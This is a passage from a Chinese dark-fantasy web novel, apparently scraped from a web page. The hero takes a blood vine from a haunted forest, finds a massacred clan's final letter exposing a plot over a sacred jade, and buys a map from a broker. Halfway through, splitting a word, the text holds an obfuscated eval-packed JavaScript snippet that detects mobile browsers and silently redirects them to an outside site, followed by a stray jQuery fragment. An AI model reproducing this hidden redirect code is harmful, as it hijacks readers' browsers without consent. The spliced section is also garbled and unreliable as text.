雾，是甜的，带着腥。
踏进血痂林的那一刻，赵明诚几乎以为自己误入了某个巨大、腐败、尚在缓慢搏动的生物脏腑内部。与苍云山脉别处的铁灰暗红不同，这里的树木呈现出一种病态的、仿佛被陈年血渍反复浸染的暗红、紫黑与污浊的棕褐。树干粗壮却扭曲，树皮皲裂翻卷，露出底下颜色更深、仿佛渗着粘液的木质，真的如同干涸剥落的血痂。空气里弥漫着一层淡红色的、几乎凝滞不动的薄雾，带着一股甜腻的腥气与植物深度腐败的酸馊味混合的气息，吸入肺中，带来微微的灼烧与眩晕感。
光线被浓密的、颜色诡异的树冠和红雾过滤，变得极其昏暗，如同永恒的黄昏。脚下是厚厚的、松软得令人不安的腐殖层，踩上去“噗嗤”作响，仿佛踩在堆积了无数年的血肉残渣上，每一次抬脚都带起一股更加浓郁的、令人作呕的甜腥味。
一进入林区，心口那枚暗金印记便传来一阵持续的、低沉而滚烫的悸动，其中夹杂着清晰的“悲伤”与“警惕”。这片土地浸透了某种强烈到化不开的负面情绪——绝望、恐惧、怨毒、不甘——那是数十年前林家上百口人一夜之间被屠戮殆尽时，最后迸发的生命哀嚎与灵魂诅咒，经年沉淀，已与这片土地、这些树木融为一体。这股庞大的怨念与“血契”中镇守者的悲愿产生了某种扭曲的共鸣，让赵明诚心神不宁，脑海中的刺痛加剧，眼前甚至偶尔闪过模糊的、充满血腥与火焰的混乱画面。
他必须尽快找到“哭血藤”，然后离开。多待一刻，他的精神和身体都会被这无处不在的怨念与毒瘴侵蚀得更深。
他强打精神，根据老蝰的描述，在昏暗的林间搜寻。避开那些颜色格外艳丽、形状奇诡的菌类（多半有毒），绕开地面上一些不自然的、仿佛在缓慢蠕动的暗红色苔藓区域。林中异常安静，连风声似乎都被红雾吞噬了，只有他自己粗重压抑的喘息和脚下腐叶的细微声响。然而，这种寂静更让人毛骨悚然，他能感觉到，在那些扭曲树干的阴影后，在浓密的、颜色诡异的灌木丛中，有无数道冰冷、贪婪、或仅仅是纯粹恶意的“目光”，在默默地注视着他这个闯入者。
走了约莫半个时辰，前方红雾稍淡，一片相对稀疏的林间空地边缘，他看到了目标。
几株格外高大的、树皮呈暗紫色、表面布满细密裂纹、仿佛在无声流泪的“泣血杉”下，缠绕着数条手臂粗细、颜色暗红如凝固静夜之血的藤蔓。藤身虬结盘绕，表皮布满类似人体血管般的凸起纹路，在昏暗光线下，甚至能看到纹路中仿佛有极其粘稠的液体在缓慢流动，散发着与林中红雾同源的、但更加浓郁的甜腥气味。
是“哭血藤”！
然而，赵明诚的心却沉了下去。在那几株泣血杉最高的枝杈间，倒悬着一个巨大、由无数细枝、泥土、兽毛和某种粘稠分泌物构筑而成的、如同蜂巢般的灰黑色物体。那“巢穴”直径超过一丈，表面布满孔洞，一些通体乌黑、翼展近三尺、倒悬着的巨大蝙蝠，正从孔洞中探出狰狞的头颅。它们闭着眼，但尖长的耳朵微微颤动，显然并未完全沉睡。这便是“铁爪蝠”！它们乌黑的翼膜在微光下反射着油腻的光泽，最引人注目的是那一对弯曲如钩、泛着幽蓝金属冷光的脚爪，正是其名由来。
藤根所在，正在蝠巢正下方偏外侧一点。想要不惊动这些听觉敏锐、嗜血成性的扁毛畜生，几乎是不可能的任务。
赵明诚藏身在一丛颜色暗沉的灌木后，仔细观察。蝠群数量不下三十只，一旦惊动，以他现在的状态，绝无生理。硬闯是死路一条，必须智取。
他想起了老蝰不经意间提过一句，“铁爪蝠”厌弃“腐骨草”燃烧时散发的辛辣焦臭。他目光在四周搜寻，很快在附近一片潮湿的洼地边缘，发现了几丛颜色灰败、散发着淡淡尸臭的低矮植物，正是“腐骨草”！
他小心地采集了一大把，用随身带的、从死去雇佣兵身上找到的火折子，在一个背风的上风口，点燃了腐骨草。干燥的草叶迅速燃烧，冒出一股浓烈的、带着刺鼻辛辣和焦臭味的灰白色烟雾。赵明诚用一片宽大的树叶扇动，将烟雾缓缓扇向蝠巢所在的方向。
同时，他捡起几块边缘锋利的碎石，用尽力气，朝着与藤根所在位置相反的方向，远远掷出！
“啪！啪！”
石块击打在远处树干和岩石上，发出清脆的声响。
双重干扰！
灰白色的辛辣烟雾随风飘向蝠巢，倒悬的“铁爪蝠”们立刻躁动起来！它们不安地扭动身体，发出细微的、如同金属摩擦般的“吱吱”声，不少蝙蝠睁开了猩红的小眼睛，警惕地望向烟雾飘来的方向，并本能地扇动翅膀，似乎想避开这令它们厌恶的气味。而远处石块落地的声响，也吸引了部分蝙蝠的注意，它们将头颅转向声音来源，尖耳急促颤动。
就是现在！
赵明诚如同离弦之箭，从藏身处猛地蹿出！他屏住呼吸，将自身气息收敛到极致，几乎是用脚尖点地，无声而迅疾地冲向那几株泣血杉下的藤根！剧烈的动作牵动全身伤口，尤其是肋下那道新伤，传来撕裂般的剧痛，但他咬紧牙关，一声不吭。
他冲到藤根前，早已握在手中的、从雇佣兵那里得来的短匕，闪烁着寒光，朝着藤蔓与地面连接、最粗壮的部分狠狠斩下！
“噗！”
藤身比想象中坚韧，一匕未能斩断，只切入一半，暗红粘稠、如同浓稠血蜜般的汁液瞬间涌出，甜腥气扑鼻而来！这浓郁的血腥味，瞬间压过了腐骨草的辛辣！
“吱——！！”
上方蝠巢中，响起数声尖锐刺耳的嘶鸣！显然有蝙蝠察觉到了下方异常的、更加诱“人”的血腥气息！
赵明诚肝胆俱裂，不顾一切，双手握住短匕，用上全身重量，再次狠狠下压、切割！
“咔嚓！”
藤根终于断裂！他一把抓起那截足有三尺多长、断裂处仍在汩汩“流血”的暗红藤根，也顾不上那粘稠汁液沾了满手，转身就跑！
“呼啦——！”
就在他转身的刹那，至少七八只反应最快的“铁爪蝠”，已从巢中激射而出！它们展开乌黑的翼膜，无声滑翔，速度快如鬼魅，猩红的眼中闪烁着对“血食”的贪婪光芒，弯曲的幽蓝铁爪张开，直取他的后颈与背心！
赵明诚甚至能感到背后袭来的、冰冷刺骨的劲风与腥气！他头也不回，将刚刚斩下的、沾满粘稠汁液的藤根，朝着侧后方猛力一抡！
“啪！”
藤根扫中了两只冲得最近的铁爪蝠，粘稠的汁液糊了它们一脸，那甜腥味似乎让它们更加兴奋，却也短暂阻碍了它们的视线和扑击。但另外五只已然临身！
赵明诚避无可避，眼中厉色一闪，猛地向前一个鱼跃前扑，同时将身体尽力蜷缩，护住头颈要害！
“嗤啦！”
“嗤！”
两只铁爪蝠的幽蓝利爪，狠狠抓在了他后背的旧伤之上，皮开肉绽，深可见骨！剧痛让他眼前一黑，几乎晕厥。另一只的爪子擦着他的头皮掠过，带走一绺头发和几块头皮。还有两只的扑击被他险之又险地躲过。
他扑倒在地，顺势翻滚，手中短匕胡乱向后挥舞，逼退了一只试图再次扑上的铁爪蝠。然后，他连滚带爬，用尽最后力气，冲进了旁边一片格外茂密、藤蔓纠结的灌木丛深处，不顾那些带刺的枝叶划破皮肤，拼命向里钻！
身后，铁爪蝠尖锐的嘶鸣和振翅声紧追不舍，但它们庞大的体型在茂密灌木中穿行不便，速度稍减。赵明诚不管方向，只是拼命向前，利用复杂的地形和植被，与追兵周旋。
不知逃了多久，身后的嘶鸣声终于渐渐远去、消失。赵明诚扑倒在一棵巨大的、树干中空的古树下，浑身如同散了架，剧烈地喘息，每一次呼吸都带着血腥味和火辣辣的痛楚。后背的伤口火辣辣地痛，麻木感开始蔓延，显然铁爪蝠的爪上带有麻痹毒素。他挣扎着摸出最后一小包玄真子给的、可解寻常虫兽之毒的“清瘴散”，胡乱撒在背上和头上伤口，又吞下一颗固本丹药。
丹药化开，带来的暖意微弱。麻痹感稍退，但剧痛和失血带来的虚弱感更加清晰。他靠在冰冷的树干上，看着怀中那截暗红色的“哭血藤”，藤身仍在缓缓渗出粘稠的汁液，甜腥气弥漫。任务完成了，但他几乎丢了半条命。
他不能在这里久留。血腥味和“哭血藤”的气息，可能会引来林中其他更麻烦的东西。必须尽快离开血痂林。
然而，当他试图辨明方向，寻找来时路时，却发现自己慌不择路，已深入到了血痂林更深处，四周景象更加诡异陌生。红雾更浓，树木更加扭曲狰狞，地面上开始出现一些散落的、颜色惨白的兽骨，甚至…几具早已风干、裹着破碎衣物的、属于人类的骸骨。
他心中一凛，强撑着站起，试图依靠“血契”那微弱的、指向镇子方向的悸动来定位。但此地的怨念太浓，干扰严重，“血契”的指向变得模糊不清，反而传来一种更深沉的、仿佛同病相怜般的悲伤共鸣，隐隐指向林子的某个方向。
那个方向，怨念的浓度似乎格外高。
赵明诚犹豫了一下。他现在最该做的是立刻离开。但“血契”的异常共鸣，以及这弥漫天地的、属于林家的滔天怨念，让他心中产生一丝莫名的悸动。或许…那里有什么与“林家”、与“同心玉髓”相关的东西？
不入虎穴，焉得虎子。既然已经身处险地，不如…
他咬了咬牙，握紧短匕和“哭血藤”，拖着伤躯，小心翼翼地朝着“血契”共鸣与怨念最浓的方向，缓缓摸去。
穿过一片如同无数鬼手般张牙舞爪的枯死灌木丛，前方的红雾突然散开些许，露出一片相对开阔的、被几株格外巨大的“泣血杉”环抱的林间空地。
空地上，一片残破的石制地基、倾倒的、雕刻着模糊“忠”、“烈”字样的牌坊、以及一座大半已坍塌、却仍能看出昔日规制的古朴祠堂，静静地矗立在堆积的腐叶与暗红苔藓之中。建筑所用的石料颜色暗沉，与周围环境几乎融为一体，上面爬满了暗红色的、类似“哭血藤”但更加细密的藤蔓。一种沉重到令人窒息、混合了无尽悲怆、恐惧、不甘与怨毒的意念，如同实质的潮水，从这片废墟中弥漫出来，让赵明诚几乎喘不过气。
是林家的遗迹！很可能是别业或与祖祠相关的建筑！灭门的惨案，或许就发生在此地！
心口的“血契”印记，在此刻灼热如烙铁，搏动如同擂鼓，与这片废墟中沉淀的怨念产生了强烈共鸣。赵明诚仿佛能“听到”无数细碎的、充满了极致痛苦与绝望的哀嚎、哭泣、怒骂、哀求…无数声音碎片混杂成一股无声的洪流，冲击着他的心神。他眼前不受控制地闪过刀光剑影、鲜血喷溅、妇孺惨叫、烈火焚屋…等混乱而血腥的画面碎片。
他脸色惨白，死死咬住嘴唇，强迫自己保持清醒，一步步走近废墟。
祠堂的正门早已坍塌，露出内部黑黢黢的空间。他点燃最后半截兽脂蜡烛，微弱的光芒勉强驱散一点黑暗。内部一片狼藉，神龛倾颓，供桌碎裂，墙壁和地面上布满了触目惊心的刀剑劈砍、术法轰击的痕迹，大片大片早已发黑、渗入石质深处的血迹，在烛光下呈现出诡异的暗紫色，无声地诉说着当年的惨烈。
他在废墟中艰难地探索，避开那些可能坍塌的结构。在祠堂最深处，原本应是供奉祖先牌位的主墙下，一块地砖的边缘，似乎有被暴力撬动后又匆忙掩盖的痕迹。他心中一动，用短匕小心地撬开那块松动的、颜色比其他地砖略浅的石砖。
石砖下，是一个小小的、用油布和蜡仔细密封过的、生满了锈迹的铁盒。铁盒不大，仅巴掌大小，入手沉重。
赵明诚的心跳骤然加快。他小心地刮掉蜡封，撬开已然锈死的盒盖。
里面，没有金银珠宝，只有一卷用特殊药液硝制过、虽然泛黄却字迹尚存的白色绢帛。绢帛折叠得整整齐齐，但边缘处，浸染着一片早已变成深褐色的、触目惊心的血迹。
他颤抖着手，展开绢帛。上面的字迹用端正却带着仓促与绝望的笔触写成，越到后面越显潦草，最后几行几乎难以辨认，显然是在极度危急的情况下仓促写就。字里行间，那浓烈的悲愤、绝望、不甘与控诉，几乎要透出绢帛，扑面而来！
“林氏不肖子孙永年绝笔：”
“吾族世代忠良，戍边卫民，蒙先祖遗泽，奉古契，守‘同心玉髓’于此，镇地脉，安怨魂，调和阴阳，已逾十代。此玉非凡物，乃古时与‘守门’先贤盟约之信，亦为稳此方地气、安抚无言峡谷煞气之枢。吾族代代以嫡系心血温养，秘而不宣，唯恐引来觊觎，酿成大祸。”
“孰料，祸起萧墙！有奸佞，位高权重，不知从何处探得玉髓之秘，竟生贪念！先以权势相压，强索玉髓，称欲用以‘调和国运’，实则包藏祸心，吾与族中耆老严词拒之，陈明利害。彼等怀恨，竟行此灭绝人性之事！”
“今夕，月黑风高，有黑衣蒙面贼众逾百，突袭别业！皆训练有素，配合默契，绝非寻常匪类！中有数人，气息冰冷空洞，似人非人，出手狠辣诡谲，疑为邪术所炼之‘傀儡’或‘死士’！彼等不为财货，直冲祖祠与藏玉秘地，分明早有图谋！吾族上下，猝不及防，死伤惨重…”
“吾知今夜必无幸理。玉髓已于前日，由吾儿携忠仆，秘送祖祠之下，依古法藏于‘血线尽头’。开启之法，需嫡系心血为引，于血月之夜，感应无言峡‘门’之回响，玉髓自现光华。然…吾儿恐亦已遭毒手！呜呼！天不佑善！”
“来敌之中，有指挥者，虽蒙面，然其身形、口音，与昔□□迫索玉之‘贵人’身边近侍，一般无二！果是彼等！背弃古老盟约，为一己私欲，竟行此灭门绝户、罔顾苍生之举！彼等所谋，绝不止玉髓，恐与‘边界’隐患、与那滴‘血’之秘，皆有关联！狼子野心，昭然若揭！”
“后来者若见斯文，必是玉髓未落贼手，亦或是…天意不绝！望持此帛，揭彼等之罪恶于天下！玉髓关乎地气稳定，万不可令其落入奸邪之手！若…若有机会，可凭此帛，或…或与玉髓、与‘守门’血脉有缘者之血，尝试感应祖祠秘地…切记，血月之夜，是为关键…”
“吾林氏上下百余口，今日毙命于此，死不瞑目！唯愿苍天有眼，令奸邪伏诛，玉髓得安，地脉得宁！吾等怨魂，愿永镇此林，诅咒彼等，世代不得安宁！！！”
绝笔至此，戛然而止。最后那个鲜红的、力透纸背的署名“林永年”和日期下面，是一大片喷溅状的、早已干涸发黑的血迹，仿佛书写者就在写下最后一个字时，便遭到了致命一击。
赵明诚握着这卷轻飘飘却又重如千钧的绢帛，浑身冰冷，如坠冰窟。
真相！血淋淋的、令人窒息的真相！
林家灭门，非仇非灾，是灭口！是“另一股势力”（或许与朝廷高层勾结）为夺取“同心玉髓”而精心策划的屠杀！“冰冷空洞，似人非人”的死士，与他们追捕小安、伏击自己时所用的人手，特征吻合！
“同心玉髓”不仅是救姑姑的关键媒介，更是与“边界”、“镇守者契约”相关的“信物”与“稳定器”！其下落，在祖祠之下，“血线尽头”，需嫡系心血或“有缘者之血”，于“血月之夜”感应“无言峡之门”方可显现。
“另一股势力”不仅图谋“镇守者之血”，更在系统性地搜寻、剿灭一切知晓“守门人”、“古契约”、“玉髓”等秘密的家族与知情者！沈墨的冤死、小安的被迫捕、林家的灭门…都是这张大网下的牺牲品！他们到底想干什么？仅仅是贪婪，还是…有更可怕的、涉及“边界”的图谋？
信息如同风暴，在赵明诚脑海中席卷、碰撞。他感到一阵强烈的眩晕，不仅仅是因为伤势和毒瘴，更是因为这揭示出的、庞大而黑暗的阴谋。他救姑姑的执念，不知不觉，已与这幅血腥的画卷、与那位镇守者未尽的悲愿、与林家上百条枉死的冤魂…紧紧纠缠在了一起，沉重得让他几乎无法呼吸。
“咳咳…” 他剧烈地咳嗽起来，咳出带着血丝的痰。背上和肋下的伤口，在情绪剧烈波动下，传来钻心的疼痛。麻痹感在清瘴散的作用下稍退，但失血和毒瘴的侵蚀，让他的状态更加糟糕。
他必须立刻离开这里！这卷绢帛和刚刚得知的真相，比“哭血藤”重要万倍，也危险万倍！一旦被“另一股势力”或幽明司的人发现，他必死无疑。
他将绢帛小心地重新折叠，与那本小安的笔记一起，贴身藏在内袋最深处。然后，他挣扎着爬起，最后看了一眼这片浸透了鲜血与怨念的废墟，踉跄着，朝着来时记忆的方向，也是“血契”对镇子方向那点微弱的、时断时续的感应，艰难地退去。
撤离的路，比来时更加艰难。身体状态更差，神智因失血、中毒和巨大信
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437459|200982||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
息冲击而有些恍惚。林中似乎有更多的东西被他的血腥味和“哭血藤”的气息吸引，暗中窥伺，蠢蠢欲动。他不得不时刻绷紧神经，依靠“血契”对危险那越来越微弱的预警，和求生的本能，在昏暗诡异的林间穿行，躲避着可能存在的陷阱与猎食者。
当他终于再次看到血痂林边缘那相对“正常”的灰暗天光，踏出那令人窒息的红雾范围时，几乎虚脱倒地。他靠在一块冰冷的岩石上，喘息了许久，才稍微恢复一丝力气。
他不敢回镇。远远望去，寒鸦镇那低矮的栅栏外，隐约可见人影晃动。有穿着幽明司制服的执事在设卡盘查过往行人，也有几个行踪鬼祟、气质阴冷的身影，在镇子外围的阴影中逡巡。双方似乎保持着一种互相警惕的距离，但显然都在搜寻着什么。
他必须联系老蝰，完成交易，拿到笔记的所有权，并获取离开的路径。
他绕到镇子更西侧，一处废弃矿洞的隐秘入口附近，按照老蝰之前隐约提过的、与镇内流民传递消息的方式，在一块特定的、带有刻痕的岩石下，压上了一小片从自己破旧内衬上撕下的、沾了点“哭血藤”汁液的布条。这是约定交易完成的信号。
然后，他藏身于矿洞深处一个极其隐蔽、寒风刺骨的岔洞里，一边处理伤口，一边焦急地等待。每一分每一秒都无比漫长，伤口在寒冷中疼痛加剧，体内毒素带来的麻痹和晕眩感也一阵阵袭来。他只能靠咀嚼冰雪和反复回想绢帛内容、坚定信念来保持清醒。
大约两个时辰后，洞口传来极其轻微的、有规律的敲击声。
赵明诚警惕地握紧短匕，低声回应了暗号。
一个瘦小、肮脏、如同老鼠般的流民男孩，鬼鬼祟祟地钻了进来，递给他一小块用炭灰写着字的破布，又迅速消失。
破布上歪歪扭扭地写着一个地点和时间，就在这个矿坑另一条更深的岔洞尽头，一个时辰后。
赵明诚依约前往。在一条废弃坑道尽头，堆积的矿石废料后面，他再次见到了老蝰。对方似乎对他的狼狈和伤势毫不意外，那双细小的眼睛里闪烁着精明的光芒。
赵明诚将依旧新鲜、流淌着粘稠汁液的三尺“哭血藤”根茎，推了过去。
老蝰接过去，凑到鼻尖嗅了嗅，又用手指蘸了点汁液捻了捻，满意地点了点头，从怀里掏出小安那本笔记，递还给赵明诚。“货不错。两清了。”
赵明诚接过笔记，贴身收好，沉声道：“我还需要去‘林家坳’的路，最隐蔽的。以及，那里现在什么情况。”
老蝰咧了咧嘴，露出黄黑的牙齿：“小子，胃口不小。去‘林家坳’的路，可不好走，更不好回。至于情况嘛…” 他压低声音，“幽明司的周寒，像条疯狗一样在镇上搜刮，悬赏捉拿一个‘重伤的、独行的年轻男子’，画像虽然粗糙，但跟你…有几分神似。至于另一伙人…” 他朝镇子方向努了努嘴，“也在暗中打听‘林家坳’和任何跟古玉、琴师沾边的人和事。两帮人互相盯着，还没撕破脸，但你小子现在是两把火一起烤的肉，香得很。”
赵明诚心中一沉，情况比他想的更糟。
“路，我有。” 老蝰慢悠悠道，“但价钱…”
赵明诚身上已无长物。他沉默了一下，从怀中摸出玄真子给的那枚黑色令牌，犹豫了一瞬，最终还是递了过去。“这个，换路线，和你所知的、关于祖祠周围的所有消息。”
老蝰接过令牌，仔细看了看上面的云纹，又抬头深深看了赵明诚一眼，眼中闪过一丝讶异，随即又化为贪婪。“啧啧，看来你小子来头也不简单。行，这玩意儿，够分量。”
他收下令牌，从怀里掏出一张用硝制过的、粗糙但坚韧的兽皮，上面用炭灰画着简陋但相对清晰的地图，标注了从寒鸦镇外绕过主要路径、穿越险峻山岭、抵达林家坳（祖祠所在地）的数条隐秘小径，以及途中需要避开的几处危险区域（如煞气汇聚点、凶猛妖兽巢穴等）。
“沿着红线走，最快，但也最险，要过‘鬼哭涧’。蓝线绕远，相对安全，但要多花一天半。黄线…是给死人走的，别碰。” 老蝰指着地图，快速讲解，“祖祠在坳底，背靠断崖，前面是片乱葬岗，煞气重，晚上尤其凶。以前偶尔有拾荒的去碰运气，但最近…据说不太平，好像有什么‘东西’在附近活动，是不是你惹上的那两伙人就不知道了。进去的路，地图上标了个大概，具体得你自己摸。记住，别弄出太大动静，那地方邪性。”
赵明诚将地图死死印入脑海，然后收起兽皮。“多谢。”
“赶紧滚蛋吧。” 老蝰挥挥手，重新缩回阴影里，“离开苍云山脉，越远越好。这趟浑水，不是你这种半死不活的小子能蹚的。”
赵明诚没有回答，只是默默转身，离开了这条充满灰尘与寒冷气息的废弃坑道。
他没有立刻动身。而是回到了最初藏身的那个最隐蔽、最寒冷的岔洞深处。他需要处理伤口，需要恢复哪怕一丝体力，也需要…消化和抉择。
他解开破烂的衣物，用积雪冰冷地擦拭身上新旧交叠、狰狞可怖的伤口，撒上最后一点金疮药粉，用干净的布条（从死去雇佣兵衣物上撕下）重新紧紧包扎。肋下的箭伤、背后的蝠爪伤、以及无数细小的擦伤划痕，无一不在叫嚣着疼痛。他吞下最后一颗固本丹药，又嚼了几口冰雪，压下喉咙的干渴与灼烧感。
然后，他背靠着冰冷刺骨的岩壁，蜷缩在黑暗中。怀中，是小安的笔记和林永年的绝笔绢帛，紧贴心口，那里是“血契”微微搏动的温热来源。脑海中，无数的信息、画面、声音在盘旋、冲撞：
“血月之夜…祖祠之下…血线尽头…嫡系心血或有缘者之血…”
“另一股势力…灭门…追捕…冰冷空洞…”
“五天后…是下一个血月之夜…”
五天。只有五天时间。
他需要穿越老蝰地图上最险峻的路径，避开幽明司和“另一股势力”可能的搜捕，抵达守卫森严、本就凶险异常的“林家坳”祖祠。他需要在血月之夜，找到并潜入那个隐藏的秘地，尝试以自身稀薄的“守门人”血脉（“有缘者之血”？）为引，感应并获取“同心玉髓”。然后，他还必须活着离开，带着玉髓，再次穿越苍云山脉，返回无言峡，在下一个血月之夜（如果错过了五天后这个，就要再等一个月）进行那场吉凶未卜的仪式…
每一个环节，都困难到几乎不可能完成。每一个步骤，都可能让他万劫不复。
黑暗，寒冷，剧痛，绝望…如同最粘稠的潮水，试图将他彻底淹没、吞噬。
他缓缓抬起头，望向岔洞外那一点极其微弱的、来自更深处矿坑反光的天光。眼中，没有丝毫泪光，也没有恐惧。只有一片将所有疲惫、痛苦、茫然、以及刚刚得知的血色真相，都沉淀下去之后，凝结而成的、冰封般的决绝。
五天。
他握紧了拳头，指甲深深掐入掌心，带来一丝尖锐的痛楚，帮助他抵抗着不断上涌的眩晕与昏沉。
姑姑在等。苏宛儿在等。那位陨落的镇守者在等。林家上百条枉死的冤魂…或许也在冥冥中注视。
他没有退路。
休息了不到一个时辰，当天边第一缕惨白的天光勉强渗入这地下深处的黑暗时，赵明诚挣扎着站起。他最后检查了一遍身上的物品：短匕、笔记、绢帛、简陋地图、空空如也的干粮袋和水囊，以及那柄一直未出鞘的、属于苏宛儿的长刀。
他将“哭血藤”那令人作呕的甜腥汁液，小心地涂抹了一些在伤口最严重的几处布条上——老蝰提过，这东西的腥气能让部分低智的妖兽厌恶，或许能减少一点麻烦。然后，他撕下内衬最干净的布条，将双手和脸上较为明显的伤口重新包裹，尽量让自己看起来不那么像“一个重伤的、独行的年轻男子”。
做完这一切，他深吸一口矿坑中冰冷污浊的空气，握紧手中作为拐杖的粗树枝，最后看了一眼寒鸦镇的方向，然后，转身，毫不犹豫地，踏入了岔洞另一侧，那条通往山脉更深、更黑暗处的、未被标记的狭窄裂缝。
那是老蝰地图上，红线标注的、最快也最险的“鬼哭涧”方向。
身影，很快被浓重的黑暗与嶙峋的岩石彻底吞没。只有心口那一点微弱的温热，和眼中那冰封的决绝，如同风中残烛，在这无尽的绝境与漫长的追寻之路上，孤独而倔强地，燃烧着。